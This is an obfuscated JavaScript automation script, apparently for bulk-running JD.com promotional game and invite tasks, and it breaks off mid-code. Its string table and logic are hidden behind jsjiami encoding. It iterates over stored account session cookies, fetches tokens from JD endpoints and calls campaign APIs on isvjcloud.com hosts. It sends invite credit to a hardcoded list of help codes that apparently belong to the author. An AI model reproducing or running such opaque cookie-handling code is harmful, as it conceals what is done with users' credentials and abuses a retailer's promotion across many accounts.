_0xod6='jsjiami.com.v6',_0xod6_=['‮_0xod6'],_0x3b2a=[_0xod6,'c2hvcElk','SUphckY=','Z2V0Q3VzU2hvcFByb2R1Y3RudW1JZA==','Y3VzU2hvcFByb2R1Y3Q=','bnVtSWQ=','YnNwc1U=','Z2FtZUxvZ0lk','SUhSaWY=','bWdub2E=','dXB5eFQ=','WEl3RHo=','eUZUSmE=','SlVtRFU=','cVZhTEw=','dXNlckluZm8=','YmFzZUluZm8=','bmlja25hbWU=','RkxmZUI=','bXBkei1jYXItZHouaXN2amNsb3VkLmNvbQ==','YXBwbGljYXRpb24vanNvbg==','WE1MSHR0cFJlcXVlc3Q=','emgtQ04semgtSGFucztxPTAuOQ==','Z3ppcCwgZGVmbGF0ZSwgYnI=','YXBwbGljYXRpb24vanNvbjsgY2hhcnNldD11dGYtOA==','aHR0cHM6Ly9tcGR6LWNhci1kei5pc3ZqY2xvdWQuY29t','a2VlcC1hbGl2ZQ==','aHR0cHM6Ly9tcGR6LWNhci1kei5pc3ZqY2xvdWQuY29tL2pkYmV2ZXJhZ2UvcGFnZXMvcGFva3UvcGFva3U/Yml6RXh0U3RyaW5nPSZmcm9tPWtvdWxpbmcmc2lkPSZ1bl9hcmVhPQ==','aHR0cHM6Ly9tcGR6LWNhci1kei5pc3ZqY2xvdWQuY29tL2RtL2Zyb250L2pkQ2FyZFJ1bm5pbmcv','P29wZW5faWQ9Jm1peF9uaWNrPQ==','JnVzZXJfaWQ9','JnB1c2hfd2F5PTEmdXNlcl9pZD0=','cFJoVFA=','UmhZVXU=','b1FBU0U=','bmRab3Q=','TG1BUGQ=','RWREeVQ=','TEttUVI=','amRhcHA7aVBob25lOzkuNS40OzEzLjY7','O25ldHdvcmsvd2lmaTtBRElELw==','O21vZGVsL2lQaG9uZTEwLDM7YWRkcmVzc2lkLzA7YXBwQnVpbGQvMTY3NjY4O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM182IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlLzE1RTE0ODtzdXBwb3J0SkRTSFdLLzE=','UU1ZTXo=','amVQUm8=','c3RyaW5naWZ5','YWN0aXZpdGllc19wbGF0Zm9ybQ==','NEFWUWFvK2VIOFE4a3ZtWG5XbWtHOGVmL2ZOcjVmZGVqbkQ5KzlVZ2JlYz0=','aHR0cHM6Ly9hcGkubS5qZC5jb20v','cGFydGljaXBhdGVJbnZpdGVUYXNr','YXBpLm0uamQuY29t','YXBwbGljYXRpb24vanNvbiwgdGV4dC9wbGFpbiwgKi8q','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','aHR0cHM6Ly9hc3NpZ25tZW50LmpkLmNvbQ==','Li9KU19VU0VSX0FHRU5UUw==','SlNVQQ==','J2pkbHRhcHA7aVBhZDszLjEuMDsxNC40O25ldHdvcmsvd2lmaTtNb3ppbGxhLzUuMCAoaVBhZDsgQ1BVIE9TIDE0XzQgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMQ==','aHR0cHM6Ly9hc3NpZ25tZW50LmpkLmNvbS8=','YXBwaWRTaWdu','Y0lkVXc=','VEVvbVg=','R3p4UlM=','cnJYTlI=','ZnVuY3Rpb25JZD1UYXNrSW52aXRlU2VydmljZSZib2R5PQ==','SmJ2RlY=','TWxKU3U=','JmFwcGlkPW1hcmtldC10YXNrLWg1JnV1aWQ9Jl90PQ==','bm93','a05pTUY=','TWdIQWU=','eE5UTHA=','bUdKcGk=','UlhtbXA=','ZW52','SlNfVVNFUl9BR0VOVA==','bERVbU8=','SllKZlM=','VVNFUl9BR0VOVA==','Z2V0ZGF0YQ==','dU1WZEI=','ekNUWE4=','Y1pSdkk=','c0lzZnM=','bmpmcWE=','QkpOeGg=','UXVseE0=','WFBOVGc=','R1VMRHU=','dFdPSUU=','Ym5td3U=','SEl2ZVI=','dFVRb2I=','T3JWbFE=','Ki8q','SkQ0aVBob25lLzE2NzY1MCAoaVBob25lOyBpT1MgMTMuNzsgU2NhbGUvMy4wMCk=','emgtSGFucy1DTjtxPTE=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','eHRvcW4=','aHRKY3A=','T0tuTGE=','Z3BHV1o=','bFR2cmw=','UmVBcVc=','QVdqdmQ=','Ym9keT0lN0IlMjJ1cmwlMjIlM0ElMjAlMjJodHRwcyUzQS8vbHprai1pc3YuaXN2amNsb3VkLmNvbSUyMiUyQyUyMCUyMmlkJTIyJTNBJTIwJTIyJTIyJTdEJnV1aWQ9aGp1ZHdnb2h4elZ1OTZrcnYmY2xpZW50PWFwcGxlJmNsaWVudFZlcnNpb249OS40LjAmc3Q9MTYyMDQ3NjE2MjAwMCZzdj0xMTEmc2lnbj1mOWQxYjdlM2I5NDNiNmExMzZkNTRmZTRmODkyYWYwNQ==','cmljd2s=','ZkJJaUk=','VVpXSUM=','bEFaZkk=','SGZXS2k=','UHNLSlg=','ak1BS2U=','V25uZEs=','cklsYUs=','eWRvT0s=','dlhrR0U=','eUhGZXE=','dERBR1k=','emZISGs=','RnFXZno=','cllaam8=','VVJJbkk=','bW9SdXA=','cnFNQmQ=','cFZsVHQ=','bUZNeWQ=','emNGTEk=','S0lNd2g=','ZHFKTEo=','T0xVWFo=','dVJwR0I=','a1VFa2s=','bnR2VEo=','cmVwbGFjZQ==','TFdpeXk=','U1N4VEI=','WU9iSE8=','Q0ZmSVA=','dUlYRGo=','SXN3cnQ=','R3JHTFo=','TmdYVkc=','RE93bm4=','bm9wQVI=','bWdrS2Y=','amVFeEE=','MTAwMQ==','QmpsdEk=','dk5seXQ=','cGdzdk0=','bEVTTXA=','cEt2Z2E=','WEJTdmw=','ODU2MjMzMTIwNDQyNTg0NjQzMjUyMjc2NjY4ODM1NDY=','MjU3NDc3MTc=','JTI3','JTdF','YWRtanNvbg==','aHR0cHM6Ly9tZS1hcGkuamQuY29tL3VzZXJfbmV3L2luZm8vR2V0SkRVc2VySW5mb1VuaW9u','bWUtYXBpLmpkLmNvbQ==','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNF8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNC4wLjIgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjE=','emgtY24=','aHR0cHM6Ly9ob21lLm0uamQuY29tL215SmQvbmV3aG9tZS5hY3Rpb24/c2NlbmV2YWw9MiZ1ZmM9Jg==','ZFFOd08=','UnJuRUU=','ZHFmS3Q=','WHZHQWw=','ck5TUFc=','clZCSEM=','ZWlEUlY=','ZFJjdUk=','THpVV3M=','ZXRNWmU=','ZG5GSWY=','UERiakM=','dGlhdmY=','cUxHR2E=','WW1DeW8=','bXhzVXQ=','RWx5b0M=','TE5hZm8=','U2JJQm0=','RHlnRE4=','Y25pWnc=','Z2V0','R25WVVU=','cEdER0M=','VHdtUlo=','SG9JRGM=','VXhpWno=','TnJwUWs=','SW9PWGY=','WFBYVE0=','Rm5uUGs=','cmVTQnM=','WXlBSm8=','S3lkaXI=','QXpnQ2M=','UHlyTG8=','eU1lTkg=','cmV0Y29kZQ==','YmZIR0c=','aGFzT3duUHJvcGVydHk=','Q2hIZFA=','RU54YkY=','TlFtbFM=','cGJGSGM=','TkdqS2Y=','SlhCcWg=','R1dCbVE=','eHp5bUY=','VUVFV0c=','aXRjWWY=','bmFndlI=','TEZuelk=','V2dPQlA=','R29WSEM=','dGFYRWw=','R2lMWko=','aUVBU1Y=','UEdqWWc=','dmFsdWVPZg==','QXNJQnU=','T0t3eWU=','QXZicHQ=','cXNvQ2o=','UlZQTk0=','QnlDZ28=','amJ3QWE=','cW1UbWQ=','R2JuV0o=','VFhaZlU=','Q2dOQVU=','UG52UUM=','TUQ1','dG9Mb3dlckNhc2U=','a29jdXQ=','SHBHV1Y=','bWREZEI=','QVB1cVA=','bUR3ZEw=','U0xFZm4=','ZXFxelk=','QkpZcEU=','SWx6dWo=','bUNWWWQ=','Vm1yYWQ=','Zm52R1Y=','RW9LQnc=','T1RSV0Y=','5Lqs5Lic6L+U5Zue5LqG56m65pWw5o2u','V0JlQkg=','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','Z2VPSUk=','UndQRXU=','UWRWSXc=','5aS05paH5a2Xaue6r+WKqeWKmyDnjq/looPlj5jph48gbXBkekhlbHAg5aSa5Yqp5Yqb56CBICYg5YiG5byA','eHh4eHh4eHgteHh4eC14eHh4LXh4eHgteHh4eHh4eHh4eHh4','eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eA==','MjE2OTkwNDU=','MTAyOTkxNzE=','MTc2MDAwNw==','S2J6b3Y=','UVFUYmI=','eFRreEM=','VVptS24=','a3paa1U=','Zmxvb3I=','S0dVZ2o=','cmFuZG9t','SVNiTXM=','bXNn','bmFtZQ==','bXhad3I=','eFZVRkE=','YWN0Q29kZQ==','WlpZSnI=','bGVuZ3Ro','cHVzaA==','c2xpY2U=','eVh0Q0U=','bWFw','YWxs','SGxGU2M=','WGFOWlE=','a1BPdWU=','aFVJU1o=','ZHdLQ1I=','a2l0VHY=','TEZlTm0=','bG9n','YVRrYU8=','bG9nRXJy','VXNlck5hbWU=','aXBQWHk=','bWF0Y2g=','aW5kZXg=','aXNMb2dpbg==','bmlja05hbWU=','Z0h3cFg=','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','aXNOb2Rl','YmVhbg==','QURJRA==','dWhXWGQ=','ckdUaFU=','VVVJRA==','SHlVQ2Y=','YU1JQ1I=','YXBwa2V5','WWVKYms=','dXNlcklk','R1dSamI=','YWN0SWQ=','d0FxbFg=','YXV0aG9yQ29kZQ==','eGxjSWo=','d2FpdA==','TWJGWG8=','YmFnWEg=','Z0dHdW0=','cVhrUEE=','ZGF0YQ==','cmVtYXJr','CuOAkOS6rOS4nOi0puWPtw==','IAogICAgICAg4pSUIOiOt+W+lyA=','IOS6rOixhuOAgg==','cGFyc2U=','Y29kZQ==','dG9rZW4=','dEFScW4=','Y2F0Y2g=','LCDlpLHotKUhIOWOn+WboDog','ZmluYWxseQ==','ZG9uZQ==','YWN0aXZpdHkvbG9hZA==','MHwyfDF8M3w0','MS7liqnlipvnoIEgLT4g','Mi7ljrvliqnlipsgLT4=','bWlzc2lvbi9jb21wbGV0ZU1pc3Npb24=','c2hhcmVBY3Q=','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi35L+h5oGv','S3JxdUg=','dW95dXM=','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi36Ym05p2D5L+h5oGv','YnV5ZXJOaWNr','YWN0aXZpdHlJbmZv','dGFza0xpc3Q=','Z1JRdE0=','eW9jTHg=','ZENqTW0=','UFRGTU8=','c3BsaXQ=','T3pLeGE=','VGFDUE0=','SlN0UVc=','SHJ2S0Q=','S3FuQ0U=','Z2hhRG0=','dHdwT0w=','QnZ0bXU=','T3VKdlo=','UmpHdWY=','QWVyZkU=','TW5KRWY=','dE9TZHU=','TU1iT0w=','alBId3Y=','Sm5SUWE=','ZWR1c1E=','b0ZHYW0=','bWlzc2lvbi9jb21wbGV0ZVN0YXRl','Y3VzU2hvcC9nZXRDdXNTaG9w','Y3VzU2hvcC9nZXRDdXNTaG9wUHJvZHVjdA==','Z2FtZS9wbGF5R2FtZQ==','cmVwb3J0L3RlbXBvcmFyeQ==','Z2FtZS9zZW5kR2FtZUF3YXJk','VnpSemw=','5Lqs5Lic5rKh5pyJ6L+U5Zue5pWw5o2u','eGJ4dHU=','Mi4w','UE9TVA==','ZmRRS3E=','a0NoTHM=','L2pkQ2FyZFJ1bm5pbmcv','YXNzaWdu','cGFyYW1z','YWRtSnNvbg==','dG5wY1c=','Y29tbW9uUGFyYW1ldGVy','c2lnbg==','dGltZXN0YW1w','dGltZVN0YW1w','UUdWaUQ=','b0NteHk=','cG9zdA==','clhaTFk=','ckJxbkc=','eG9oTUM=','d01GYkk=','c3VjY2Vzcw==','c3RhdHVz','Y3dOUG4=','YURiR00=','cGNCSW8=','UVNJTWE=','bWlzc2lvbkN1c3RvbWVy','dXNlcl9pZA==','Y3VzQWN0aXZpdHk=','YWN0VXBMb2FkSWQ=','cmVtYWluQ2hhbmNl','V1FYdnY=','ckZKVWQ=','a0dNcVk=','eU5sTGY=','UU9jVVg=','dVhCdkQ=','Q09OZHQ=','TnBBbEY=','dG9TdHJpbmc=','dG9VcHBlckNhc2U=','aldpbGc=','TGlHZlk=','Z2V0Q3VzU2hvcHNob3BJZA==','Y3VzU2hvcA==','AjsjpFBiamniW.coMm.kv6CTYASpR=='];if(function(_0x914b8b,_0x571d29,_0x2c939a){function _0x42baec(_0x227843,_0x15a5d5,_0xf29f33,_0x512a7d,_0x21f2a6,_0x22a813){_0x15a5d5=_0x15a5d5>>0x8,_0x21f2a6='po';var _0x167d6e='shift',_0x4c0907='push',_0x22a813='‮';if(_0x15a5d5<_0x227843){while(--_0x227843){_0x512a7d=_0x914b8b[_0x167d6e]();if(_0x15a5d5===_0x227843&&_0x22a813==='‮'&&_0x22a813['length']===0x1){_0x15a5d5=_0x512a7d,_0xf29f33=_0x914b8b[_0x21f2a6+'p']();}else if(_0x15a5d5&&_0xf29f33['replace'](/[ApFBnWMkCTYASpR=]/g,'')===_0x15a5d5){_0x914b8b[_0x4c0907](_0x512a7d);}}_0x914b8b[_0x4c0907](_0x914b8b[_0x167d6e]());}return 0xf5714;};return _0x42baec(++_0x571d29,_0x2c939a)>>_0x571d29^_0x2c939a;}(_0x3b2a,0xf8,0xf800),_0x3b2a){_0xod6_=_0x3b2a['length']^0xf8;};function _0x38da(_0x3ecf3e,_0x5afeee){_0x3ecf3e=~~'0x'['concat'](_0x3ecf3e['slice'](0x1));var _0x3f849a=_0x3b2a[_0x3ecf3e];if(_0x38da['jIMawL']===undefined&&'‮'['length']===0x1){(function(){var _0x331b5b;try{var _0xa4b158=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x331b5b=_0xa4b158();}catch(_0x5b2ffb){_0x331b5b=window;}var _0x4e2c80='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x331b5b['atob']||(_0x331b5b['atob']=function(_0x2a40d5){var _0x3ec9a4=String(_0x2a40d5)['replace'](/=+$/,'');for(var _0x4841d7=0x0,_0x5164c6,_0x4bd8d2,_0x2db630=0x0,_0x8debb3='';_0x4bd8d2=_0x3ec9a4['charAt'](_0x2db630++);~_0x4bd8d2&&(_0x5164c6=_0x4841d7%0x4?_0x5164c6*0x40+_0x4bd8d2:_0x4bd8d2,_0x4841d7++%0x4)?_0x8debb3+=String['fromCharCode'](0xff&_0x5164c6>>(-0x2*_0x4841d7&0x6)):0x0){_0x4bd8d2=_0x4e2c80['indexOf'](_0x4bd8d2);}return _0x8debb3;});}());_0x38da['aDGXqO']=function(_0x5e82b9){var _0x267846=atob(_0x5e82b9);var _0x3ad77e=[];for(var _0x515e40=0x0,_0x234403=_0x267846['length'];_0x515e40<_0x234403;_0x515e40++){_0x3ad77e+='%'+('00'+_0x267846['charCodeAt'](_0x515e40)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x3ad77e);};_0x38da['owYwWw']={};_0x38da['jIMawL']=!![];}var _0xcc682f=_0x38da['owYwWw'][_0x3ecf3e];if(_0xcc682f===undefined){_0x3f849a=_0x38da['aDGXqO'](_0x3f849a);_0x38da['owYwWw'][_0x3ecf3e]=_0x3f849a;}else{_0x3f849a=_0xcc682f;}return _0x3f849a;};!(async()=>{var _0xb5f275={'kzZkU':function(_0x3d945e,_0x3cce05){return _0x3d945e+_0x3cce05;},'KGUgj':function(_0x4aa5b6,_0x201154){return _0x4aa5b6*_0x201154;},'ISbMs':function(_0x35d177,_0x4be6c6){return _0x35d177-_0x4be6c6;},'HlFSc':function(_0x146a8a,_0x306961){return _0x146a8a===_0x306961;},'tARqn':_0x38da('‮0'),'xTkxC':function(_0x4958ad,_0x4080c2){return _0x4958ad!==_0x4080c2;},'UZmKn':_0x38da('‮1'),'mxZwr':_0x38da('‮2'),'xVUFA':_0x38da('‮3'),'ZZYJr':function(_0x4ad1d0,_0x4c8b3b){return _0x4ad1d0<_0x4c8b3b;},'yXtCE':function(_0xd2ca3b,_0xd926b0){return _0xd2ca3b+_0xd926b0;},'XaNZQ':function(_0x2c24fb,_0x2ccc6f){return _0x2c24fb<_0x2ccc6f;},'kPOue':_0x38da('‫4'),'hUISZ':function(_0x451151,_0x1ac0f8){return _0x451151===_0x1ac0f8;},'dwKCR':function(_0x3f7587,_0x22a865){return _0x3f7587!==_0x22a865;},'kitTv':_0x38da('‮5'),'LFeNm':_0x38da('‮6'),'aTkaO':_0x38da('‮7'),'ipPXy':function(_0x105eec,_0x5e81c3){return _0x105eec(_0x5e81c3);},'gHwpX':function(_0x55aa58){return _0x55aa58();},'uhWXd':function(_0x10dba2,_0x4abde9,_0x4734da){return _0x10dba2(_0x4abde9,_0x4734da);},'rGThU':_0x38da('‮8'),'HyUCf':function(_0x57f29f,_0x7231e0){return _0x57f29f(_0x7231e0);},'aMICR':_0x38da('‫9'),'YeJbk':_0x38da('‮a'),'GWRjb':_0x38da('‫b'),'wAqlX':_0x38da('‫c'),'xlcIj':function(_0x534983,_0x5b2c12,_0x5aa3f6){return _0x534983(_0x5b2c12,_0x5aa3f6);},'MbFXo':function(_0x24067a,_0x1e760f){return _0x24067a>_0x1e760f;},'bagXH':function(_0x57188f,_0xcf172f){return _0x57188f===_0xcf172f;},'gGGum':_0x38da('‫d'),'qXkPA':_0x38da('‮e')};if(!cookiesArr[0x0]){if(_0xb5f275[_0x38da('‫f')](_0xb5f275[_0x38da('‫10')],_0xb5f275[_0x38da('‫10')])){return _0xb5f275[_0x38da('‫11')](Math[_0x38da('‮12')](_0xb5f275[_0x38da('‮13')](Math[_0x38da('‫14')](),_0xb5f275[_0x38da('‫15')](max,min))),min);}else{$[_0x38da('‫16')]($[_0x38da('‫17')],_0xb5f275[_0x38da('‮18')],_0xb5f275[_0x38da('‫19')],{'open-url':_0xb5f275[_0x38da('‫19')]});return;}}$[_0x38da('‮1a')]=0x0;let _0x5f13ae=[];for(let _0x12eba3=0x0;_0xb5f275[_0x38da('‫1b')](_0x12eba3,cookiesArr[_0x38da('‮1c')]);_0x12eba3+=0xf){_0x5f13ae[_0x38da('‮1d')](cookiesArr[_0x38da('‫1e')](_0x12eba3,_0xb5f275[_0x38da('‫1f')](_0x12eba3,0xf)));}for(let _0x5a44b8=0x0;_0xb5f275[_0x38da('‫1b')](_0x5a44b8,_0x5f13ae[_0x38da('‮1c')]);_0x5a44b8++){try{let _0x3a0933=_0x5f13ae[_0x5a44b8];const _0x3e6357=_0x3a0933[_0x38da('‫20')]((_0x7799c3,_0x471ad0)=>main(_0x7799c3));await Promise[_0x38da('‮21')](_0x3e6357);}catch(_0x1beb62){}}if(_0xb5f275[_0x38da('‫22')]($[_0x38da('‮1a')],0x1)){for(let _0x57766e=0x0;_0xb5f275[_0x38da('‫23')](_0x57766e,cookiesArr[_0x38da('‮1c')]);_0x57766e++){if(_0xb5f275[_0x38da('‫22')](_0xb5f275[_0x38da('‫24')],_0xb5f275[_0x38da('‫24')])){if(_0xb5f275[_0x38da('‮25')](mpdzHelp[_0x38da('‮1c')],0x0)){if(_0xb5f275[_0x38da('‫26')](_0xb5f275[_0x38da('‮27')],_0xb5f275[_0x38da('‫28')])){console[_0x38da('‫29')](_0xb5f275[_0x38da('‮2a')]);break;}else{$[_0x38da('‮2b')](e);}}if(cookiesArr[_0x57766e]){cookie=cookiesArr[_0x57766e];originCookie=cookiesArr[_0x57766e];newCookie='';$[_0x38da('‮2c')]=_0xb5f275[_0x38da('‫2d')](decodeURIComponent,cookie[_0x38da('‫2e')](/pt_pin=(.+?);/)&&cookie[_0x38da('‫2e')](/pt_pin=(.+?);/)[0x1]);$[_0x38da('‮2f')]=_0xb5f275[_0x38da('‫1f')](_0x57766e,0x1);$[_0x38da('‫30')]=!![];$[_0x38da('‫31')]='';await _0xb5f275[_0x38da('‫32')](checkCookie);console[_0x38da('‫29')](_0x38da('‮33')+$[_0x38da('‮2f')]+'】'+($[_0x38da('‫31')]||$[_0x38da('‮2c')])+_0x38da('‫34'));if(!$[_0x38da('‫30')]){$[_0x38da('‫16')]($[_0x38da('‫17')],_0x38da('‫35'),_0x38da('‮36')+$[_0x38da('‮2f')]+'\x20'+($[_0x38da('‫31')]||$[_0x38da('‮2c')])+_0x38da('‮37'),{'open-url':_0xb5f275[_0x38da('‫19')]});if($[_0x38da('‮38')]()){}continue;}$[_0x38da('‮39')]=0x0;$[_0x38da('‮3a')]=_0xb5f275[_0x38da('‫3b')](getUUID,_0xb5f275[_0x38da('‫3c')],0x1);$[_0x38da('‫3d')]=_0xb5f275[_0x38da('‫3e')](getUUID,_0xb5f275[_0x38da('‮3f')]);authorCodeList=mpdzHelp;$[_0x38da('‫40')]=_0xb5f275[_0x38da('‫41')];$[_0x38da('‫42')]=_0xb5f275[_0x38da('‮43')];$[_0x38da('‫44')]=_0xb5f275[_0x38da('‮45')];$[_0x38da('‮46')]=authorCodeList[_0xb5f275[_0x38da('‮47')](random,0x0,authorCodeList[_0x38da('‮1c')])];await _0xb5f275[_0x38da('‫32')](mpdz);await $[_0x38da('‫48')](0x7d0);if(_0xb5f275[_0x38da('‮49')]($[_0x38da('‮39')],0x0)){if(_0xb5f275[_0x38da('‮4a')](_0xb5f275[_0x38da('‮4b')],_0xb5f275[_0x38da('‮4c')])){console[_0x38da('‫29')](data[_0x38da('‮4d')][_0x38da('‮4d')][_0x38da('‮4e')]);}else{message+=_0x38da('‫4f')+$[_0x38da('‮2f')]+'】'+($[_0x38da('‫31')]||$[_0x38da('‮2c')])+_0x38da('‫50')+$[_0x38da('‮39')]+_0x38da('‮51');}}}}else{if(data){data=JSON[_0x38da('‮52')](data);if(_0xb5f275[_0x38da('‫22')](data[_0x38da('‮53')],'0')){$[_0x38da('‫54')]=data[_0x38da('‫54')];}}else{$[_0x38da('‫29')](_0xb5f275[_0x38da('‮55')]);}}}}})()[_0x38da('‫56')](_0x1a997e=>{$[_0x38da('‫29')]('','❌\x20'+$[_0x38da('‫17')]+_0x38da('‮57')+_0x1a997e+'!','');})[_0x38da('‮58')](()=>{$[_0x38da('‫59')]();});async function mpdz(){var _0x12be3f={'gRQtM':function(_0xcdad17){return _0xcdad17();},'yocLx':function(_0x6ac59a,_0x519988,_0x335854,_0x3d5a3e){return _0x6ac59a(_0x519988,_0x335854,_0x3d5a3e);},'dCjMm':_0x38da('‮5a'),'PTFMO':_0x38da('‮5b'),'OzKxa':function(_0x4c4696,_0x7138d3){return _0x4c4696+_0x7138d3;},'TaCPM':_0x38da('‮5c'),'JStQW':_0x38da('‮5d'),'HrvKD':function(_0x5b2573,_0x3135b0,_0x5f195a){return _0x5b2573(_0x3135b0,_0x5f195a);},'KqnCE':_0x38da('‫5e'),'ghaDm':_0x38da('‫5f'),'twpOL':_0x38da('‮60'),'Bvtmu':function(_0x3da322,_0x423da5){return _0x3da322!==_0x423da5;},'OuJvZ':_0x38da('‮61'),'RjGuf':_0x38da('‮62'),'AerfE':_0x38da('‫63')};$[_0x38da('‫54')]=null;$[_0x38da('‮64')]=null;$[_0x38da('‫65')]=null;$[_0x38da('‮66')]=null;await _0x12be3f[_0x38da('‮67')](getToken);console[_0x38da('‫29')]($[_0x38da('‫54')]);if($[_0x38da('‫54')]){await $[_0x38da('‫48')](0xbb8);await _0x12be3f[_0x38da('‮68')](task,_0x12be3f[_0x38da('‫69')],{'inviteNick':$[_0x38da('‮46')],'jdToken':$[_0x38da('‫54')],'shopId':null},0x0);await $[_0x38da('‫48')](0xbb8);if($[_0x38da('‮64')]){var _0x165e14=_0x12be3f[_0x38da('‮6a')][_0x38da('‫6b')]('|'),_0x3476fd=0x0;while(!![]){switch(_0x165e14[_0x3476fd++]){case'0':console[_0x38da('‫29')](_0x12be3f[_0x38da('‮6c')](_0x12be3f[_0x38da('‫6d')],$[_0x38da('‮64')]));continue;case'1':console[_0x38da('‫29')](_0x12be3f[_0x38da('‫6e')]);continue;case'2':await $[_0x38da('‫48')](0xbb8);continue;case'3':await _0x12be3f[_0x38da('‫6f')](task,_0x12be3f[_0x38da('‫70')],{'missionType':_0x12be3f[_0x38da('‫71')],'inviterNick':$[_0x38da('‮46')]});continue;case'4':await $[_0x38da('‫48')](0xbb8);continue;}break;}}else{$[_0x38da('‫29')](_0x12be3f[_0x38da('‮72')]);}}else{if(_0x12be3f[_0x38da('‫73')](_0x12be3f[_0x38da('‮74')],_0x12be3f[_0x38da('‫75')])){$[_0x38da('‫29')](_0x12be3f[_0x38da('‫76')]);}else{$[_0x38da('‫29')](err);}}}function task(_0x45075a,_0x319918,_0x20aa2a=0x1){var _0x3f0f90={'rBqnG':function(_0xbda2,_0x38e31d){return _0xbda2!==_0x38e31d;},'xohMC':_0x38da('‫77'),'wMFbI':_0x38da('‮78'),'cwNPn':function(_0x28c4c9,_0x7e6d97){return _0x28c4c9!==_0x7e6d97;},'aDbGM':_0x38da('‫79'),'pcBIo':_0x38da('‫7a'),'QSIMa':_0x38da('‮5a'),'WQXvv':_0x38da('‫5e'),'rFJUd':function(_0x363683,_0x3dafd0){return _0x363683===_0x3dafd0;},'kGMqY':function(_0x106da6,_0x3a878f){return _0x106da6===_0x3a878f;},'yNlLf':_0x38da('‫7b'),'uXBvD':function(_0x4c35e4,_0x49efec){return _0x4c35e4!==_0x49efec;},'CONdt':_0x38da('‮7c'),'NpAlF':_0x38da('‮7d'),'jWilg':_0x38da('‮7e'),'LiGfY':_0x38da('‮7f'),'IJarF':_0x38da('‫80'),'bspsU':_0x38da('‮81'),'IHRif':_0x38da('‮82'),'mgnoa':_0x38da('‮83'),'upyxT':function(_0x9a0d29,_0x26d290){return _0x9a0d29===_0x26d290;},'XIwDz':_0x38da('‮84'),'yFTJa':_0x38da('‫85'),'oCmxy':function(_0x2154a9,_0x30c793){return _0x2154a9===_0x30c793;},'qVaLL':_0x38da('‫86'),'FLfeB':function(_0x59b37e){return _0x59b37e();},'QGViD':function(_0x436299,_0x3aae2b){return _0x436299+_0x3aae2b;},'rXZLY':function(_0xb35fd,_0x5a8644,_0xdb7bda,_0x4135b6){return _0xb35fd(_0x5a8644,_0xdb7bda,_0x4135b6);},'fdQKq':_0x38da('‮87'),'kChLs':_0x38da('‮88'),'tnpcW':function(_0x4c5fea,_0xd6405){return _0x4c5fea(_0xd6405);}};body={'jsonRpc':_0x3f0f90[_0x38da('‫89')],'params':{'commonParameter':{'appkey':$[_0x38da('‫40')],'m':_0x3f0f90[_0x38da('‮8a')],'userId':$[_0x38da('‫42')]},'admJson':{'actId':$[_0x38da('‫44')],'method':_0x38da('‮8b')+_0x45075a,'userId':$[_0x38da('‫42')],'buyerNick':$[_0x38da('‮64')]?$[_0x38da('‮64')]:''}}};Object[_0x38da('‮8c')](body[_0x38da('‫8d')][_0x38da('‮8e')],_0x319918);let _0x4e4456=_0x3f0f90[_0x38da('‫8f')](getSign,body[_0x38da('‫8d')][_0x38da('‮8e')]);body[_0x38da('‫8d')][_0x38da('‮90')][_0x38da('‮91')]=_0x4e4456[_0x38da('‮91')];body[_0x38da('‫8d')][_0x38da('‮90')][_0x38da('‮92')]=_0x4e4456[_0x38da('‮93')];return new Promise(_0x4d0bd8=>{var _0x169da5={'QOcUX':function(_0x1d3d42,_0x27fb7f){return _0x3f0f90[_0x38da('‫94')](_0x1d3d42,_0x27fb7f);},'JUmDU':function(_0x3158a2,_0x14d4e9){return _0x3f0f90[_0x38da('‮95')](_0x3158a2,_0x14d4e9);}};$[_0x38da('‫96')](_0x3f0f90[_0x38da('‫97')](taskUrl,_0x45075a,body,_0x20aa2a),async(_0x37bc95,_0x18c346,_0x17d174)=>{try{if(_0x37bc95){$[_0x38da('‫29')](_0x37bc95);}else{if(_0x17d174){if(_0x3f0f90[_0x38da('‫98')](_0x3f0f90[_0x38da('‮99')],_0x3f0f90[_0x38da('‫9a')])){_0x17d174=JSON[_0x38da('‮52')](_0x17d174);if(_0x17d174[_0x38da('‮9b')]){if(_0x17d174[_0x38da('‮4d')][_0x38da('‮9c')]){if(_0x3f0f90[_0x38da('‮9d')](_0x3f0f90[_0x38da('‫9e')],_0x3f0f90[_0x38da('‮9f')])){switch(_0x45075a){case 